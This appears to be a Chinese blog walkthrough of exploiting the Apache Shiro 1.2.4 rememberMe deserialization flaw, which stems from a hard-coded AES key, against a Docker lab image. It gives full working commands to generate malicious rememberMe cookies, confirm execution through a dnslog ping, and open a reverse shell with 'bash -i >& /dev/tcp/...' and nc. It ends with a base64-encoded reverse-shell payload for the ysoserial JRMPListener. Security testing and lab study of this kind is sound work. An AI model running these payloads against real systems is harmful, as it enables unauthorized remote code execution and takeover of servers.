shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)
1.拉取镜像
docker pull medicean/vulapps:s_shiro_1
2.启动环境
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
如需进入环境,命令为
docker exec -it name /bin/bash
3.web访问
http://127.0.0.1 能看到如下页面即可
或虚拟机外面用真实ip访问
至此漏洞环境搭建成功
1.抓包测试
查看返回包里setcookie有rememberme的字样
2.继续测试
首先最简单的测试方法是用dnslog,看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe
3.工具准备
生成payload的脚本使用的是python3,运行报错就安装一下模块
4.生成payload:
双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼
py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"
运行结果如下图:
然后便会在脚本所在目录下生成文件payload.cookie
5.回到浏览器抓包
用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去
6.到ceye平台查看日志记录
dnslog日志刷新后有记录了,说明payloda执行成功
当然了,有VPS的情况下,为何不反弹一下shell呢?
1.使用脚本生成key
反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1
py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"
PS:ip假的,不打码,观看流畅
2.先公网VPS监听反弹shell的命令
nc -lvp 7878
3.加入payload,提交数据包
这里使用curl也能达到burp的效果
// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I
4.vps收到了反弹回来的shell
研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。
还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
参考链接:
https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html